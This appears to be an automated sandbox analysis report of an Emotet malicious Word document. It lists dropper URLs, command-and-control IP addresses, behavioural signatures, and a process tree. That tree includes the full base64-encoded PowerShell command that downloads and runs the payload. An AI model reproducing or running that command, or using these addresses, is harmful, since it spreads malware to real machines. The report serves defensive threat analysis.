Analysis

  • max time kernel
    135s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    25/08/2020, 16:20

General

  • Target
    emotet_e3_6b00ae71c4d67aca4607b7fe6a698dce600e8e4c83828f647227340ff9db13c4_2020-08-25__161916._doc.doc
  • Size 250KB
  • Sample200825-ymv47x37gn
  • SHA256 6b00ae71c4d67aca4607b7fe6a698dce600e8e4c83828f647227340ff9db13c4
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://sauloramos.com.br/PLcbM/4oxcev0320/

  • exe.dropper

    http://jurczyk.biz/piotrek/IJilgckESlY/

  • exe.dropper

    http://lidiscom.com.br/BKP_TinaPOS/CQSMl/

  • exe.dropper

    http://cmswrexham.com/video/N2lzhgh45/

  • exe.dropper

    http://lyveinc.com/wp-content/uploads/attachments/XxM/

  • exe.dropper

    https://stateinsuranceonline.com/wp-content/yQzAGwyQs/

  • exe.dropper

    https://www.teringieestatefarms.com.au/wp-content/Lvqg/

Extracted

Family
  • emotet

C2
  • 82.239.200.118:80

  • 185.81.158.15:8080

  • 51.255.15.193:7080

  • 85.25.207.108:8080

  • 107.161.30.122:8080

  • 113.161.148.81:80

  • 74.208.173.91:8080

  • 139.59.12.63:8080

  • 188.0.135.237:80

  • 2.144.244.204:443

  • 87.106.231.60:8080

  • 181.137.229.1:80

  • 173.94.215.84:80

  • 175.29.183.2:80

  • 37.46.129.215:8080

  • 86.57.216.23:80

  • 181.126.54.234:80

  • 190.212.140.6:80

  • 46.105.131.68:8080

  • 190.190.15.20:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_6b00ae71c4d67aca4607b7fe6a698dce600e8e4c83828f647227340ff9db13c4_2020-08-25__161916._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3608
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABJADYAMAByAF8AaABjAD0AKAAnAEgAJwArACgAJwBlAHYAJwArACcANQA2ADYAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdABFAE0AcABcAHcAbwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAGUAQwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABDAFUAYABSAEkAVAB5AHAAcgBgAG8AdABgAE8AYwBPAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAJwArACgAJwAxADIAJwArACcALAAgACcAKQArACcAdABsACcAKwAoACcAcwAxADEAJwArACcALAAnACsAJwAgAHQAJwApACsAJwBsAHMAJwApADsAJABOAG0AcABlADkAcQB1ACAAPQAgACgAJwBQAG8AJwArACcAaABhACcAKwAnAGUAbgAnACkAOwAkAFAAaQBqAGIAeAB3ADcAPQAoACgAJwBQACcAKwAnAG0ANQBkACcAKQArACcAMwAnACsAJwBsAG8AJwApADsAJABHAGMAcAB0AG4AZgByAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAfQAnACsAKAAnAHcAbwAnACsAJwByACcAKQArACcAZAB7ADAAJwArACcAfQAyADAAMQA5AHsAJwArACcAMAB9ACcAKQAgACAALQBmACAAWwBjAGgAQQByAF0AOQAyACkAKwAkAE4AbQBwAGUAOQBxAHUAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEIAYQByAGkAaQB2AHkAPQAoACgAJwBSACcAKwAnADAAbgAnACkAKwAnAHQAdQAnACsAJwBqAHQAJwApADsAJABKAHIAbwBxAGQAdAA3AD0ALgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMATABpAEUATgBUADsAJABUADEAdQB0AF8AYQBfAD0AKAAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAA6ACcAKQArACcALwAvACcAKwAoACcAcwBhAHUAbAAnACsAJwBvACcAKQArACgAJwByAGEAbQBvAHMALgAnACsAJwBjACcAKwAnAG8AbQAnACsAJwAuAGIAcgAvAFAAJwArACcATAAnACsAJwBjAGIAJwApACsAJwBNACcAKwAoACcALwAnACsAJwA0AG8AeABjAGUAJwArACcAdgAwADMAJwApACsAKAAnADIAMAAnACsAJwAvACoAJwApACsAJwBoACcAKwAoACcAdAB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGoAdQAnACsAJwByAGMAJwApACsAJwB6ACcAKwAnAHkAawAnACsAKAAnAC4AJwArACcAYgBpAHoAJwApACsAJwAvAHAAJwArACgAJwBpAG8AdAAnACsAJwByAGUAJwApACsAKAAnAGsALwBJACcAKwAnAEoAaQBsAGcAYwAnACkAKwAoACcAawBFAFMAbABZACcAKwAnAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAnAHAAJwArACcAOgAnACsAJwAvACcAKwAoACcALwBsACcAKwAnAGkAZAAnACkAKwAnAGkAJwArACcAcwAnACsAKAAnAGMAJwArACcAbwAnACsAJwBtAC4AYwBvAG0AJwApACsAKAAnAC4AYgAnACsAJwByACcAKQArACgAJwAvAEIAJwArACcASwBQACcAKQArACgAJwBfAFQAaQAnACsAJwBuAGEAUABPAFMALwBDACcAKwAnAFEAUwBNACcAKQArACgAJwBsAC8AJwArACcAKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAA6AC8AJwApACsAKAAnAC8AYwAnACsAJwBtACcAKQArACgAJwBzAHcAJwArACcAcgBlACcAKQArACgAJwB4ACcAKwAnAGgAYQAnACkAKwAnAG0AJwArACcALgAnACsAJwBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdgBpAGQAZQAnACsAJwBvAC8AJwApACsAKAAnAE4AMgAnACsAJwBsAHoAJwApACsAJwBoACcAKwAnAGcAJwArACcAaAA0ACcAKwAoACcANQAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAnACkAKwAoACcALwAvAGwAJwArACcAeQAnACkAKwAnAHYAZQAnACsAKAAnAGkAbgAnACsAJwBjAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACgAJwBjAG8AbgB0AGUAJwArACcAbgAnACsAJwB0ACcAKQArACcALwB1ACcAKwAoACcAcABsAG8AYQAnACsAJwBkACcAKwAnAHMAJwApACsAKAAnAC8AYQB0AHQAJwArACcAYQBjAGgAJwApACsAKAAnAG0AZQBuACcAKwAnAHQAcwAvACcAKwAnAFgAeABNAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAKAAnADoALwAnACsAJwAvACcAKQArACcAcwB0ACcAKwAoACcAYQAnACsAJwB0AGUAJwApACsAJwBpACcAKwAnAG4AJwArACcAcwB1ACcAKwAoACcAcgBhAG4AJwArACcAYwBlACcAKQArACgAJwBvAG4AJwArACcAbAAnACkAKwAoACcAaQAnACsAJwBuAGUAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwAC0AJwArACcAYwAnACkAKwAnAG8AbgAnACsAKAAnAHQAZQAnACsAJwBuAHQALwB5AFEAegBBACcAKwAnAEcAJwApACsAKAAnAHcAJwArACcAeQBRAHMAJwArACcALwAqAGgAJwApACsAKAAnAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAHcAdwAnACsAJwB3AC4AdAAnACkAKwAoACcAZQAnACsAJwByAGkAbgBnACcAKQArACcAaQAnACsAKAAnAGUAZQBzACcAKwAnAHQAJwApACsAKAAnAGEAdABlAGYAJwArACcAYQAnACkAKwAnAHIAbQAnACsAKAAnAHMALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALgBhAHUALwAnACkAKwAnAHcAJwArACcAcAAnACsAKAAnAC0AJwArACcAYwBvAG4AdAAnACkAKwAnAGUAbgAnACsAJwB0ACcAKwAoACcALwBMACcAKwAnAHYAJwApACsAKAAnAHEAJwArACcAZwAvACcAKQApAC4AIgBzAHAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFoAMQBuAGoAMgBnAHAAPQAoACgAJwBLAHoAJwArACcAXwBzACcAKQArACgAJwBiADIAJwArACcAdwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEANwBzAHAAdwBrADcAIABpAG4AIAAkAFQAMQB1AHQAXwBhAF8AKQB7AHQAcgB5AHsAJABKAHIAbwBxAGQAdAA3AC4AIgBkAG8AVwBOAEwAbwBgAEEAYABEAGYASQBsAGUAIgAoACQAQQA3AHMAcAB3AGsANwAsACAAJABHAGMAcAB0AG4AZgByACkAOwAkAEYAbgBlAGEAeQBlADgAPQAoACgAJwBPADUAJwArACcAbgAnACkAKwAoACcAeQAnACsAJwBqAG0ANwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABHAGMAcAB0AG4AZgByACkALgAiAGwARQBgAE4ARwB0AEgAIgAgAC0AZwBlACAAMgA2ADcAOQA4ACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlAC0AJwArACcASQB0AGUAJwArACcAbQAnACkAKAAkAEcAYwBwAHQAbgBmAHIAKQA7ACQARwBkAGIAMABmAGoANwA9ACgAKAAnAEMAJwArACcANQB1AHcAJwApACsAKAAnAGYAcAAnACsAJwA4ACcAKQApADsAYgByAGUAYQBrADsAJABRAG0AZwBlAHMAOQA3AD0AKAAnAEoAegAnACsAKAAnADkANAAnACsAJwAzAGUAYwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQB5ADMAeQB1ADQAYwA9ACgAJwBHAHEAJwArACgAJwB1AGsAJwArACcAbgBvAHAAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Pohaen.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Pohaen.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3956
      • C:\Windows\SysWOW64\d3d11\msctf.exe
        "C:\Windows\SysWOW64\d3d11\msctf.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3888

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1864-9-0x00007FFB2EA50000-0x00007FFB2F43C000-memory.dmp

        memory/1864-11-0x00000222F63C0000-0x00000222F63C1000-memory.dmp

        memory/1864-10-0x00000222F6210000-0x00000222F6211000-memory.dmp

        memory/3608-8-0x00000186F7994000-0x00000186F79A0000-memory.dmp

        memory/3608-7-0x00000186F7994000-0x00000186F79A0000-memory.dmp

        memory/3608-0-0x00007FFB36050000-0x00007FFB36716000-memory.dmp

        memory/3608-6-0x00000186F7994000-0x00000186F79A0000-memory.dmp

        memory/3608-5-0x00000186F7994000-0x00000186F79A0000-memory.dmp

        memory/3608-4-0x00000186ED685000-0x00000186ED690000-memory.dmp

        memory/3608-3-0x00000186F7875000-0x00000186F787A000-memory.dmp

        memory/3608-2-0x00000186F7875000-0x00000186F787A000-memory.dmp

        memory/3608-1-0x00000186F7870000-0x00000186F7875000-memory.dmp

        memory/3888-18-0x00000000008D0000-0x00000000008DC000-memory.dmp

        memory/3956-15-0x0000000000A90000-0x0000000000A9C000-memory.dmp